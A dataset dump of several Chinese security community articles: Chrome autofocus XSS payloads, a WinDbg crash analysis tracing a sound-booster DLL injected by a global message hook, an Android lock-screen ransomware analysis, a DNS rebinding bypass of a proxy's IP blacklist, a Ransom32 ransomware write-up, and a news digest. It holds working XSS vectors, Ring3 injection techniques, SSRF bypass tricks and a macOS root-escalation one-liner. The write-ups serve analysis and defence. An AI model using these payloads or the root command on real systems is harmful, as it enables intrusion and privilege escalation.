text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
这里使用的是Chrome的一个bug,具体自己[查阅](https://bugs.chromium.org/p/chromium/issues/detail?id=995679)。简单来说就是在chrome中autofocus可以与所有HTML标签一起使用
## 1.使用已有标签
<iframe autofocus onfocus=alert(1)>
<a autofocus onfocus=alert(23) href=#>x</a>
这里已有[测试环境](http://portswigger-labs.net/xss/xss.php?x=%3Ciframe%20autofocus%20onfocus=alert%281%29%3E)。(下面的也可以在这里自己测试)
这个我们是经常使用的，加上autofocus效果更加。对于无法在没有用户交互的情况下无法转义元素上下文并需要XSS的情况很有用。
## 2\. 'tabindex'或'contenteditable'
原文指出因为任何HTML元素都可以通过'tabindex'或'contenteditable'进行聚焦，所以它也会支持'autofocus'。
1.对于[tabindex](https://developer.mozilla.org/zh-CN/docs/Web/HTML/Global_attributes/tabindex)：
在这里我们使用正值，可以构造：
<xss tabindex=1 onfocus=alert(1) autofocus>
2.对于[contenteditable](https://developer.mozilla.org/zh-CN/docs/Web/HTML/Global_attributes/contenteditable):
`contenteditable` 是一个枚举属性，表示元素是否可被用户编辑。 如果可以，浏览器会修改元素的部件以允许编辑。
虽然contenteditable后面没有值不符合要求，但是如果后面没有值默认会是空字符串，不会报错。
所以我们可以使用：
<xss onfocus=alert(23) autofocus contenteditable>
## 3.user-modify
<xss style="-webkit-user-modify:read-write" onfocus=alert(1) autofocus>
关于[user-modify](https://developer.mozilla.org/en-US/docs/Web/CSS/user-modify),自己参考。
user-modify不是标准形式，但是在chrome还是可以使用的。
所以我们也可以:
<xss style="-webkit-user-modify:read-write-plaintext-only" onfocus=alert(1) autofocus>
## 4.总结
上面主要是配合autofocus使用的，这样我们也可以绕过很多。 | 社区文章 |
# 腹背受敌之“音量倍增软件”注入导致crash
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
0、为了避免具体公司及相关项目信息的泄漏，本文中隐去了所有名称信息，代之以A、B之类的标识符；
## 1、今天拿到一个比较有意思的dmp，分析之余觉得有趣，撰文以分享。
## 2、分析过程：
2.1、step1：Windbg打开，.exr -1看了下异常记录里所呈现的信息，如下：
ExceptionAddress: 5d38a57f
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000008
Parameter[1]: 5d38a57f
Attempt to execute non-executable address 5d38a57f
上边标红的两行，第一行的意思是说“访问异常”，基本就是访问了不该访问的内存，比如处于Free状态的内存；或者是该内存是只读的，却往里边写数据了；第二行的意思是说，代码执行了不可执行的部分，换句话说就是EIP跑飞了；当然这个第二行的提示文本是Windbg善解人意的自动推导出来辅助你分析的，可能对也可能不对；且看下边继续分析；
2.2、step2：看一下5d38a57f附近的代码：
0:045> u 5d38a57f
5d38a57f ?? ???
^ Memory access error in 'u 5d38a57f'
咋回事，咋都是些’??’，嗯，正常的，一种情况是这块内存没有被dmp下来，所以Windbg去反汇编这块内存的时候，找不到数据；另一种情况是这块内存本身就是Free的；来看下这块内存的属性如下：
0:045> !address 5d38a57f
Usage: Free
Base Address: 5d0a6000
End Address: 62670000
Region Size: 055ca000 ( 85.789 MB)
State: 00010000 MEM_FREE
Protect: 00000001 PAGE_NOACCESS
Type: <info not present at the target>
看来是第二种情况了；线索断了，不急再看看其他的地方，说不定山重水复疑无路，柳暗花明又一村嘞；
2.3、step3：下面就是将上下文恢复到出现问题[异常]时的那会了；执行.ecxr即可；
0:045> .ecxr
eax=00001000 ebx=04f015a8 ecx=9a27e8a0 edx=00000000 esi=04f015c6 edi=04f015b0
eip=5d38a57f esp=18a3fe1c ebp=18a3fe64 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
5d38a57f ?? ???
简单分析下上边所给出的信息；触发异常的显然就是这句汇编代码了，触发的原因也自然是5d38a57f这块内存是PAGE_NOACCESS，而你却Execute了，不挂才怪？这块内存属于谁？看下内存分布，如下：
5c8d0000 5c8e8000 dxva2 (deferred)
5d0a0000 5d0a6000 d3d8thk (deferred)
62670000 626b7000 Qt5OpenGL (deferred)
64150000 6458e000 Qt5Widgets (deferred)
68bb0000 68bc4000 msacm32_68bb0000 (deferred)
6a690000 6a697000 midimap (deferred)
6a6a0000 6a6a8000 msacm32 (deferred)
6bbc0000 6bbf1000 EhStorShell (deferred)
上图标蓝的两行最接近5d38a57f了，接近归接近，终究还是不属于任何模块，这就奇怪了。好好的EIP咋就跑的乱七八糟的了。看下调用栈吧，如下：
0:045> k
# ChildEBP RetAddr
00 18a3fe18 013e5c4e 0x5d38a57f
01 18a3fe64 013e5d5b aaaa!bbbb::waveOut+0x1fe
02 18a3fe6c 74bb343d aaaa!bbbb::waveOutRoutine+0xb
03 18a3fe78 77179812 kernel32!BaseThreadInitThunk+0xe
04 18a3feb8 771797e5 ntdll!__RtlUserThreadStart+0x70
05 18a3fed0 00000000 ntdll!_RtlUserThreadStart+0x1b
0:045> ub 013e5c4e
aaaa!bbbb::waveOut+0x1e1
013e5c31 ff30 push dword ptr [eax]
013e5c33 ffb3a4000000 push dword ptr [ebx+0A4h]
013e5c39 e8d2020000 call start_for_wegame!fifo_read (013e5f10)
013e5c3e 83c410 add esp,10h
013e5c41 6a20 push 20h
013e5c43 ff75f8 push dword ptr [ebp-8]
013e5c46 ff37 push dword ptr [edi]
013e5c48 ff15fc914101 call dword ptr [aaaa!_imp__waveOutWrite (014191fc)]
逻辑很清晰，是我们的exe调用了waveOutWrite()；这个API是
Winmm.dll中的，是系统的API，难道这个系统的API不够健壮，有bug？传入的错误的参数，其又没有很严格的校验？确实有这可能，但可能性微乎其微，你要学会相信微软啊；好了来看下传入的参数都是啥：
00 18a3fe18 013e5c4e 0bd84180 04f015e6 00000020 0x5d38a57f
01 18a3fe64 013e5d5b 18a3fe78 74bb343d 0bd83ed0 aaaa!bbbb::waveOut+0x1fe
02 18a3fe6c 74bb343d 0bd83ed0 18a3feb8 77179812 aaaa!bbbb::waveOutRoutine+0xb
0:045> dd 04f015e6
04f015e6 04808e88 00001000 00000000 00000000
04f015f6 00000003 00000000 00000000 0000007b
整理如下：
typedef struct wavehdr_tag
{
LPSTR lpData; 04808e88
DWORD dwBufferLength; 00001000
DWORD dwBytesRecorded; 00000000
DWORD_PTR dwUser; 00000000
DWORD dwFlags; 00000003 #define WHDR_DONE | WHDR_PREPARED
DWORD dwLoops; 00000000
struct wavehdr_tag *lpNext; 00000000
DWORD_PTR reserved; 0000007b
} WAVEHDR, *LPWAVEHDR;
参数都很正常，那咋回事呢？不妨到这个API里边去看下，看看总归还是可以的；
2.4、step4：核心分析
0:045> u Winmm!waveOutWrite
winmm!waveOutWrite:
70ad4f7b e990d5c892 jmp SBH+0x2510 (03762510)
70ad4f80 56 push esi
70ad4f81 8b750c mov esi,dword ptr [ebp+0Ch]
70ad4f84 6a01 push 1
70ad4f86 ff7510 push dword ptr [ebp+10h]
70ad4f89 56 push esi
70ad4f8a e8c2f9ffff call winmm!ValidateHeader (70ad4951)
70ad4f8f 85c0 test eax,eax
有意思了，很有意思；正常的API的开头几个字节的反汇编代码通常是：
mov edi，edi ；hot patch会用到
而这里居然是一个jmp指令,那就说明这里有鬼了，根据给出的跳转目的地址可知，是跑到SBH这个模块里去了；
不妨看一下跳转的那块内存的汇编代码，简单看下他在干啥：
0:045> u 03762510
SBH+0x2510:
03762510 ?? ???
^ Memory access error in 'u 03762510'
没有数据，这是个minidmp，里边的数据有限；那没办法了，只能归因于该crash是由于第三方软件的bug导致的了；但是，我们还有另一条路可走，来看看这个模块是啥，有哪些信息可获取到，如下：
0:045> lmvm SBH
start end module name
03760000 0379d000 SBH T (no symbols)
Loaded symbol image file: SBH.dll
Image path: E:迅雷下载Letasoft Sound BoosterSBH.dll
Image name: SBH.dll
Browse all global symbols functions data
Timestamp: Fri Oct 19 00:43:47 2012 (508031C3)
CheckSum: 0004A8A2
ImageSize: 0003D000
File version: 1.1.0.88
Product version: 1.1.0.88
File flags: 0 (Mask 3F)
File OS: 40004 NT Win32
File type: 2.0 Dll
File date: 00000000.00000000
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4
Information from resource tables:
比较有用的信息，已经标红示出；根据经验，软件安装时，安装的目录名都一定程度上代表了这个软件自身的功能或者软件的名字；那从路径中提取出来的文件名就差不多是”Letasoft
Sound Booster”，此外，还可以获取到该模块的创建时间戳为”2012-10-19
00:43:47”，下边百度下该软件的名字，看看能捞到哪些信息，如下，这个软件还是个正规的软件，官网为
https://www.letasoft.com/；从搜索到的
信息来看，这个软件的功能是增大音量的，其与dmp中所牵扯进来的waveOutWrite()也是对的上的，该软件还有官网，说明该软件确实是正规软件。要再继续往下边查原因的话，就需要去下载这个版本的，做下逆向分析了，但所得并不会太多，因为既然是正规软件且还是收费的，值来应该是可靠的，这里导致的crash，可能是极端情况下的某个bug，也必然不太容易复线。
## 3、dmp分析之外的探究——SBH.dll是怎么注入到进程里去的？
通常Ring3的注入方法无怪乎以下几种，
导入表注入：直接修改PE头，手动构造一项IAT表；
挂起线程注入：修改CONTEXT.Eip；
挂起进程注入：分为ShellCode法和Shim法，其中Shim法不太稳定，严重依赖系统版本；
注册表注入：AppInit_DLLs键值
钩子注入：利用SetWindowsHookEx拦截消息进行注入
APC注入：往用户态Apc队列中丢一项；
远程线程注入：CreateRemoteThread即可
输入法注入：构造自己的Ime文件
DLL劫持：利用Dll搜索的路径顺序加载我们自己构造好的Dll，然后再转发至真正的Dll；
但考虑到，这个软件是正规军，不可能用一些“猥琐的”跨平台特性较差的方法来进行SBH.dll的注入；猜测它用到的方法大概率为：
SetWindowsHookEx > CreateRemoteThread>其他
为了研究这个问题，我下载了一个下来测试下，下载的版本如下：
运行起来之后，是上边右图所示。此时我可怜的QQMusic已经被注入了该Dll；一点点防备都没有；
来吧，开始干吧，祭出我们的核武器——Windbg；一顿操作之后挂到SoundBooster.exe上；继而操作如下：
0:008> x User32!SetWindowsHookEx*
76a6f190 USER32!SetWindowsHookExA (<no parameter info>)
76a7f8e0 USER32!SetWindowsHookExAW (<no parameter info>)
76a7b610 USER32!SetWindowsHookExW (<no parameter info>)
0:009> bm User32!SetWindowsHookEx*
1: 76a6f190 @!"USER32!SetWindowsHookExA"
2: 76a7f8e0 @!"USER32!SetWindowsHookExAW"
3: 76a7b610 @!"USER32!SetWindowsHookExW"
0:009> bl
1 e Disable Clear 76a6f190 0001 (0001) 0:**** USER32!SetWindowsHookExA
2 e Disable Clear 76a7f8e0 0001 (0001) 0:**** USER32!SetWindowsHookExAW
3 e Disable Clear 76a7b610 0001 (0001) 0:**** USER32!SetWindowsHookExW
顷刻之间，相干API都已经被我们安插了眼线，然后选中”启用”复选框；一切如所料，命中了，如下：
0:009> g
Breakpoint 1 hit
eax=00000000 ebx=00000001 ecx=10000000 edx=10007be0 esi=10072be8 edi=010a0000
eip=76a6f190 esp=0019ef0c ebp=0019f1b0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
USER32!SetWindowsHookExA:
76a6f190 8bff mov edi,edi
0:000> k
# ChildEBP RetAddr
00 0019ef08 100073e2 USER32!SetWindowsHookExA
WARNING: Stack unwind information not available. Following frames may be wrong.
01 0019f1b0 0048d1f5 SBH+0x73e2
02 0019f1e0 0048c7b3 SoundBooster+0x8d1f5
03 0019f204 00492f71 SoundBooster+0x8c7b3
04 0019f254 00493985 SoundBooster+0x92f71
05 0019f2f0 0049034e SoundBooster+0x93985
06 0019f310 0049243d SoundBooster+0x9034e
07 0019f378 004924ca SoundBooster+0x9243d
08 0019f398 76a7bafb SoundBooster+0x924ca
09 0019f3c4 76a77e7a USER32!_InternalCallWinProc+0x2b
0a 0019f4ac 76a5c21a USER32!UserCallWinProcCheckWow+0x3aa
0b 0019f518 76a5bfa7 USER32!SendMessageWorker+0x20a
0c 0019f558 7163e96f USER32!SendMessageW+0x137
0d 0019f578 7163e92f COMCTL32!Button_NotifyParent+0x39
0e 0019f590 716697f1 COMCTL32!Button_ReleaseCapture+0x88
0f 0019f5e4 76a7bafb COMCTL32!Button_WndProc+0x3b1
10 0019f610 76a77e7a USER32!_InternalCallWinProc+0x2b
11 0019f6f8 76a57e4d USER32!UserCallWinProcCheckWow+0x3aa
12 0019f734 00490254 USER32!CallWindowProcW+0x8d
13 0019f754 00490365 SoundBooster+0x90254
14 0019f770 0049243d SoundBooster+0x90365
15 0019f7d8 004924ca SoundBooster+0x9243d
16 0019f7f8 76a7bafb SoundBooster+0x924ca
17 0019f824 76a77e7a USER32!_InternalCallWinProc+0x2b
18 0019f90c 76a7772e USER32!UserCallWinProcCheckWow+0x3aa
19 0019f988 76a5a613 USER32!DispatchMessageWorker+0x20e
1a 0019f9c8 004906d2 USER32!IsDialogMessageW+0x103
1b 0019fac8 00000000 SoundBooster+0x906d2
SetWindowsHookExA的原型以及传入的参数如下：
0:000> dd 0019ef08+8 l4
0019ef10 00000003 10007350 10000000 00000000
HHOOK SetWindowsHookExA(
int idHook, 00000003 ----> WH_GETMESSAGE
HOOKPROC lpfn, 10007350
HINSTANCE hmod, 10000000 ---->SBH.dll
DWORD dwThreadId 00000000 ---->全局钩子
);
0:000> !inmodule 10000000
0x10000000: SBH
那基本实锤了，这个软件就是通过的消息钩子安装的全局钩子注入到其他进程的；钩子的过程为0x10007350；看下反汇编代码，简单分析下：
SBH+0x7350:
10007350 56 push esi
10007351 8b742408 mov esi,dword ptr [esp+8] ;code
10007355 85f6 test esi,esi
10007357 57 push edi
10007358 8b7c2414 mov edi,dword ptr [esp+14h] ;PMGS
1000735c 7516 jne SBH+0x7374 (10007374)
1000735e 803df84a071000 cmp byte ptr [SBH!KLHGetManager+0x6d078 (10074af8)],0
10007365 750d jne SBH+0x7374 (10007374)
10007367 8b07 mov eax,dword ptr [edi]
10007369 50 push eax ;hwnd
1000736a b9dc450710 mov ecx,offset SBH!KLHGetManager+0x6cb5c (100745dc)
1000736f e8bcf8ffff call SBH+0x6c30 (10006c30)
10007374 8b4c2410 mov ecx,dword ptr [esp+10h]
10007378 8b152c430710 mov edx,dword ptr [SBH!KLHGetManager+0x6c8ac (1007432c)]
1000737e 8b4218 mov eax,dword ptr [edx+18h]
10007381 57 push edi
10007382 51 push ecx
10007383 56 push esi
10007384 50 push eax
10007385 ff1518120410 call dword ptr [SBH!KLHGetManager+0x39798 (10041218)];USER32!CallNextHookEx
1000738b 5f pop edi
1000738c 5e pop esi
1000738d c20c00 ret 0Ch
0:000> ln poi(10041218)
(76a7a470) USER32!CallNextHookEx | (76a7a530) USER32!GetThreadDpiAwarenessContext
Exact matches:
USER32!CallNextHookEx (void)
适可而止吧，再分析下去就是逆向这个软件的具体行为了，那就侵权了。 | 社区文章 |
来自i春秋作者 [Sp4ce]()
之前一直想研究下锁机软件，今天从某群正好下载到了，就来分析下吧。由于她的主包没有任何操作行为【除了有个获取ROOT权限的操作】，所以360等杀软并没有报毒
### 0X01样本信息
QQshuazhuan-1.apk没有锁机操作，有锁机操作的是底下那个
文件: C:\Users\*****\Desktop\QQshuazhuan.apk-1.apk
大小: 5568191 字节
修改时间: 2016年8月23日, 22:54:35
MD5: 37E124B185BF33C6F4D05140B0155847
SHA1: B2167E7025BD5B70C48B5179781D9849AAAAAA6A
CRC32: 85B89047
文件: C:\Users\****\Desktop\QQshuazhuan.apk-1\assets\ijm-x86.apk
大小: 3686633 字节
修改时间: 2008年2月29日, 10:33:46
MD5: 6E60C23625E96843E027799476E5C8B0
SHA1: 0965D96F676C1CD578521446B7C53FE268F6E279
CRC32: F3A766E4
### 0X02所需工具【文章后面附下载】
* dex2jar
* AndroidKiller1.3.1
* jd-gui
### 0X03开始分析
首先我们运行下这个APP
有点经验的是不会点击下面的刷单的。。但是今天是要分析这款软件的，所以就点咯
点击之后会索取ROOT权限，有什么用？一会就知道了
允许后，我的手机（模拟器）重启了
重启后的界面【吐槽下，这界面真TM丑，还特么亲手机屏幕，恶心。。。】
行了，运行到此结束，我们打开大杀器AndroidKiller1.3.1，并载入
这个文件有点可疑，按理说这个so文件不能运行在安卓下，又发现个zihao.l，这个文件更奇怪，于是我全局搜索了下
发现了蹊跷，解释下各行代码
第一行：复制zihao.l到/system/app/目录下
第二行：调zihao.l权限777
第三行重命名zihao.l为zihao.apk
顺着文件名称，找到了这货
这个是伪装爱加密的目录文件，主要是混淆一些安卓反编译工具，造成有壳的假象
果断改为.apk继续分析
这段代码是生成随机数【就是那个所谓的随机码】
由于安卓杀手后面过于繁琐，所以更换为jd-gui继续分析,由于JD-GUI需要JAR文件，所以我们要用DEX2JAR将classes.dex返回到JAR文件
首先将classes.dex复制到DEX2JAR目录下，然后新建批处理，里面写上
d2j-dex2jar.bat classes.dex
其中d2j-dex2jar.bat是那个反编译的主文件，后面那个dex就是你从apk中提取出来的文件
然后我们用JD-GUI打开目录下的classes-dex2jar.jar
依次进入com.h→s→s
由于我们确定了随机数为math.random，所以直接搜索这个就可以了，搜索后我们来到这个位置
public void onCreate()
{
super.onCreate();
this.pass = ((Math.random() * 100000000));//生成8位随机数
this.passw = new Long((this.pass + 7190) * 3);//随机数+7190后乘以3
this.des = new DU("flower");//加载DES加密
try
{
不用我多说了吧，那个DES加密解密其实运算出来就是这个，没什么卵用
由于我的随机码是44079563
算完后是
附上测试成功截图
本人做的程序【WIN10 14393.0版本测试通过，如需源码，请联系坏蛋@yyyxy 索取】
### 0X04总结
没有贪心，就没有锁机，没有破不了的锁机，只有不努力的CRACKER解锁方法不止这一种，大家可以用ADB直接kill掉system/app/zihao.apk来解锁
本文由i春秋学院提供，工具下载地址：http://bbs.ichunqiu.com/thread-10602-1-1.html?from=paper
* * * | 社区文章 |
来源：[ricterz.me](https://ricterz.me/posts/Use%20DNS%20Rebinding%20to%20Bypass%20IP%20Restriction?_=1484796555938)
作者：[
**ricterz**](https://ricterz.me/posts/Use%20DNS%20Rebinding%20to%20Bypass%20IP%20Restriction?_=1484796555938)
## 0x00 前言
在不久前的一个渗透测试中，我遇到一个客户自己实现的代理。这个代理可以用来翻墙，但是由于这个代理搭建在客户内网中，所以同样可以访问内网资源。
报告给客户后，客户予以修复。在之后的复测中，访问内网资源的时候返回 403，只能请求非黑名单 IP 段中的地址。
>>> export all_proxy=http://u:p@proxy_server:1234
>>> curl 10.0.0.1 -v
* Rebuilt URL to: 10.0.0.1/
* Trying proxy_server...
* TCP_NODELAY set
* Connected to proxy_server (proxy_server) port 1234 (#0)
* Proxy auth using Basic with user 'u'
> GET http://10.0.0.1/ HTTP/1.1
> Host: 10.0.0.1
> Proxy-Authorization: Basic dTpw
> User-Agent: curl/7.51.0
> Accept: */*
> Proxy-Connection: Keep-Alive
>
< HTTP/1.1 403 Forbidden
< Content-Type: text/plain; charset=utf-8
< X-Content-Type-Options: nosniff
< Date: Mon, 11 Dec 2016 13:10:23 GMT
< Content-Length: 43
<
Request URL http://10.0.0.1/ is forbidden.
于是利用一般性的绕过方式，比如：
* http://[email protected]
* http://test.loli.club (ip: 10.0.0.1)
* 301 / 302 Redirect
* file:///etc/passwd
* gopher protocol
* ftp protocol
等一系列姿势都以失败告终。于是开始思考其验证 IP 的具体方式，尝试绕过 IP 限制请求内网。
## 0x01 IP 验证方式
一般来说，验证 IP 是否在范围的方式如下图所示。
获取到请求的地址后，如果为域名的话，则通过 DNS 解析的方式获取到真实的 IP 地址，如果直接是 IP 地址的话，则直接对比是否在指定的 IP 段内。
比如如上的 test.loli.club 请求获得的 IP 地址为 10.0.0.1，黑名单 IP 段为 10.0.0.0/8，则会提示拒绝访问。
一般来说这种验证没有什么问题，但是通过 DNS Rebinding 技术来进行攻击的话，就可以轻而易举地绕过这个 IP 限制。
## 0x02 DNS Rebinding
上图所示的验证方法是存在问题的。服务器从获得请求的 URL 开始，到利用 URL 的 Hostname 获取到 IP 地址，再从判断 IP 地址到请求
URL 之间，是有一个时间差的。利用这个时间差，我们可以做一些事情。
众所周知，DNS 返回的数据包中存在一个 TTL（Time-To-Live），也就是域名解析记录在 DNS 服务器上的缓存时间。如果两次 DNS
请求的时间大于 TTL 的大小的话，那么就会重新进行一次 DNS 解析请求。
如果我们在第一次请求 DNS 解析时返回一个不在黑名单里面的 IP 地址，然后在第二次服务端请求 URL 的时候，让服务器再请求一次 DNS
解析，这次解析到黑名单内的地址，且没有任何验证，利用个短暂的时间差来绕过验证。
我们把 DNS 服务器的
TTL 设置为 0，这样就可以有足够的时间来让服务器再次请求 DNS 服务器而导致绕过 IP 黑名单限制。
## 0x03 攻击配置
要进行攻击首先需要一个域名，然后配置一个 NS 记录，指向攻击者配置的 DNS 服务器。
在 DNS
服务器上搭建一个 DNS 服务，核心代码如下：
测试请求
1.asf.loli.club：
两次 DNS
请求的结果不同。测试在实际环境中可以绕过 IP 验证。由于保密原因就不再提供真实环境的测试图片，但是实际上已经成功请求其内网的 gitlab、kms
等关键服务了。
## 0x04 攻击面
* CSRF/XSS 窃取用户数据
* 绕过 SSRF IP 限制
* 绕过代理 IP 限制
## 0x05 缓解措施
利用第一次请求解析的 IP 来进行后续的 HTTP/HTTPS 请求即可。
def dns_resolve(hostname):
...
def check_ip(ip):
...
url = input()
ip = dns_resolve(urlparse(url.hostname))
if not check_ip(ip):
return '403 Forbidden', 403
data = requests.get(ip, headers={'Host': url.hostname})
return data.content, data.status_code
* * * | 社区文章 |
# 走近Ransom32：第一款JavaScript恶意欺诈软件
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://blog.emsisoft.com/2016/01/01/meet-ransom32-the-first-javascript-ransomware/>
译文仅供参考，具体内容表达以及含义原文为准。
软件即服务（Software as a
Service，简称SaaS）对于当今许多软件公司来说是一种相对新颖的商业模式——并且经常会带来巨大的成功。所以，那些恶意软件作者和网络诈骗者会尝试利用这种模型来达到他们自己的恶毒目的也就不足为奇了。在过去的一年里，一大堆这种“勒索软件即服务”的秘密破坏活动相继出现，例如Tox、Fakben和Radamant。今天我们来揭露其中一种最新的勒索软件。
**走近Ransom32**
乍一看去，Ransom32这款软件十分寻常，它和其他众多类似的恶意欺诈软件相比没什么亮点。它的注册是在Tor网络的隐藏服务器中完成的。你只需提供一个比特币地址即可进行注册，这个地址用来存放这款软件给你带来的收益。
输入了比特币地址后，你会来到基础管理界面。你可以在这个管理界面上看到各种各样的信息，比如多少人已经收到了付款、多少系统已经被感染等等。你也可以编排你的“客户”——也就是他们用来代替实际恶意软件的术语。改变恶意软件索要的比特币数量也是可能的，另外，你还能设定一些参数，例如恶意软件安装时会显示的虚假消息框。
点击“Download
client.scr”后，它就会根据你的偏好设定生成并下载一个超过22MB的恶意软件。到这一步，我们就会发现Ransom32跟其他的勒索软件有非常大的不同，因为其他软件的大小很少会超过1MB。实际上，大部分勒索软件作者都会将小尺寸作为他们在地下黑客市场中兜售产品的一大卖点。Ransom32显然吸引了我们的兴趣。
**揭开“猛兽”的面纱**
在进一步的测试中，我们发现这个下载的文件是一个WinRAR的自解压归档：
这个恶意软件利用在WinRAR中自动执行的脚本语言来解压归档中的内容，并将其存放在用户的临时文件目录下，执行其中的“chrome.exe”文件。归档中的文件有如下的目的：
* “chrome”包含有一份GPL许可协议的副本。
* “chrome.exe”是一个封装好的NW.js应用程序，它包含了实际的恶意代码和用于运行恶意软件的框架。
* “ffmpegsumo.dll”、“nw.pak”、“icudtl.dat”和“locales”包含了使NW.js框架正确运行的数据。
* “rundll32.exe”是Tor客户端的一个重命名副本。
* “s.exe”是Optimum X Shortcut的一个重命名副本，一个用于创建、操控桌面（Desktop）和开始菜单快捷键的应用程序。
* “g”包含了该恶意软件在网络接口的配置信息。
* “msgbox.vbs”是一小段脚本，用于显示用户定制的弹出消息和配置信息框。
* “u.vbs”是一段用于罗列、删除特定目录下所有文件或文件夹的脚本。
到目前为止，这个封装包里最有趣的部分就是“chrome.exe”了。在首次检查中，这个“chrome.exe”看上去非常像一个真正的Chrome浏览器的副本。但它缺乏正确的数字签名和版本信息这一点暗示了它并不是一个真的Chrome浏览器。经过后续的检查，我们发现它是一个封装的NW.js应用程序。
**使用了现代网络技术的敲诈软件**
那么NW.js到底是什么？NW.js实质上是一个框架，它以颇受欢迎的Node.js和Chromium为基础，允许你使用JavaScript为Windows、
Linux 和 MacOS
X开发正常的桌面应用程序。所以，当JavaScript被牢牢限定在你浏览器的沙箱里运行并难以接触到系统的时候，NW.js却能允许它对底层的操作系统有更多的控制和交互，从而使JavaScript几乎能做“正常”的编程语言（如：C++
或Delphi）能做的所有事情。对开发者来说，NW.js的好处在于他们能相对容易地把网络应用转换为桌面应用。对于普通的桌面应用开发者来说，他们可以在不同平台上运行相同的JavaScript程序。故而，你只需要写一个NW.js应用，它就立即可以在Windows、Linux
和MacOS X上运行了。
这也意味着，至少在理论上，Ransom32可以很容易地被封装起来用于Linux和Mac OS
X。但目前我们还没有看到这样的封装包，所以至少现在我们还可以说Ransom32很可能只是适用于Windows的。对于这个恶意软件的作者来说，另一个好处是，NW.js是一个合法的框架和应用。这也难怪这款软件出来2周后签名覆盖率如此之差了。
一旦Ransom32侵入了一个系统并执行，它就会先将它所有的文件解压出来，存放到一个临时的文件夹中。随后，它将自身复制到“%AppData%Chrome
Browser”目录下。它使用捆绑的“s.exe”文件在用户的启动文件夹“ChromeService”中创建了一个快捷键，以确保系统每次进入boot时它都会执行。然后，这个恶意软件启动捆绑的Tor客户端，来向隐藏在Tor网络85号端口中的命令和控制服务器（C2
服务器）建立连接。一旦软件将受害用户的比特币地址和加密密钥交给Tor客户端，连接便成功建立。之后，这个恶意软件就会向受害用户显示它的“勒索信”了。
然后它就会开始加密用户的文件了。凡是有如下后缀的文件都会成为它的目标：
*.jpg, *.jpeg, *.raw, *.tif, *.gif, *.png, *.bmp, *.3dm, *.max, *.accdb, *.db, *.dbf, *.mdb, *.pdb, *.sql, *.*sav*, *.*spv*, *.*grle*, *.*mlx*, *.*sv5*, *.*game*, *.*slot*, *.dwg, *.dxf, *.c, *.cpp, *.cs, *.h, *.php, *.asp, *.rb, *.java, *.jar, *.class, *.aaf, *.aep, *.aepx, *.plb, *.prel, *.prproj, *.aet, *.ppj, *.psd, *.indd, *.indl, *.indt, *.indb, *.inx, *.idml, *.pmd, *.xqx, *.xqx, *.ai, *.eps, *.ps, *.svg, *.swf, *.fla, *.as3, *.as, *.txt, *.doc, *.dot, *.docx, *.docm, *.dotx, *.dotm, *.docb, *.rtf, *.wpd, *.wps, *.msg, *.pdf, *.xls, *.xlt, *.xlm, *.xlsx, *.xlsm, *.xltx, *.xltm, *.xlsb, *.xla, *.xlam, *.xll, *.xlw, *.ppt, *.pot, *.pps, *.pptx, *.pptm, *.potx, *.potm, *.ppam, *.ppsx, *.ppsm, *.sldx, *.sldm, *.wav, *.mp3, *.aif, *.iff, *.m3u, *.m4u, *.mid, *.mpa, *.wma, *.ra, *.avi, *.mov, *.mp4, *.3gp, *.mpeg, *.3g2, *.asf, *.asx, *.flv, *.mpg, *.wmv, *.vob, *.m3u8, *.csv, *.efx, *.sdf, *.vcf, *.xml, *.ses, *.dat
如果有文件存放在带有如下字符串的目录中，那么这个恶意软件是不会尝试加密它们的：
:windows
:winnt
programdata
boot
temp
tmp
$recycle.bin
这些文件都会用AES-128算法进行加密，并采用CTR作为加密模式。对于每一个文件都会有一个新的密钥。这些密钥都会用RSA算法进行加密，相应的公钥在第一次与C2服务器的通信中获得。
加密后的AES密钥和AES加密数据一起被存储在一个现在也已被加密了的文件中。
这个恶意软件也会解密单个文件，以此向受害者展示它的确有能力将文件解密回来。在这个过程中，它会将特定文件的加密的AES密钥发送给C2服务器，C2服务器再将解密后的AES密钥发回给它。
**怎样保护自己免受Ransom32攻击？**
正如我们最近的勒索软件报告中所说，最好的保护方案就是使用坚实可靠的备份策略。另外，由Emsisoft Anti-Malware和Emsisoft
Internet Security提供的行为阻断技术是第二好的防御机制，我们所有的用户都因其而免受了成百上千的无需签名的勒索软件变体的侵害。
我们认为勒索软件是过去一年里最大的安全威胁，所以计划在来年继续努力追踪记录，来最大程度上地保护我们用户的安全。
在那条消息中，Emsisoft的恶意软件搜索团队预祝各位拥有一个不被恶意软件侵害的快乐的新年。 | 社区文章 |
# 12月1日 - 每日安全知识热点
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
macOS的#iAmRoot漏洞现在可以通过命令行触发了
$ osascript -e 'do shell script "id" with administrator privileges user name "root" password ""'
uid=0(root) gid=0(wheel) egid=20(staff) groups=0(wheel) [..]
macOS High Sierra - Root提权的exploit
<https://www.exploit-db.com/exploits/43201/>
微软Edge浏览器发布了Android和iOS版本
<https://www.bleepingcomputer.com/news/microsoft/microsoft-edge-browser-exits-preview-and-now-available-for-ios-and-android/>
HP的Windows遥测服务客户端居然是间谍软件？这篇文章告诉你如何移除它
<https://thehackernews.com/2017/11/hp-computers-telemetry-data.html>
Google禁用带有锁屏广告的app进入Play Store
<https://www.bleepingcomputer.com/news/mobile/google-bans-android-apps-that-show-lockscreen-ads/>
Mozilla发布开源语音识别引擎DeepSpeech和语音数据， 错误识别率6.5％，接近人类水平。
语音数据资料：<https://voice.mozilla.org/data>
代码：<https://github.com/mozilla/DeepSpeech>
## 技术类
objective-see对macOS的#iAmRoot漏洞的分析
<https://objective-see.com/blog/blog_0x24.html>
WebKit – ‘WebCore::Style::TreeResolver::styleForElement’ Use-After-Free
<https://www.exploit-db.com/exploits/>
CVE-2017-1000405：发现DirtyCow的漏洞没有修复完全，然后通过对补丁的分析，又找出来一个漏洞
<https://medium.com/bindecy/huge-dirty-cow-cve-2017-1000405-110eca132de0>
PoC：<https://github.com/bindecy/HugeDirtyCowPOC>
cmsPoc：CMS渗透测试框架
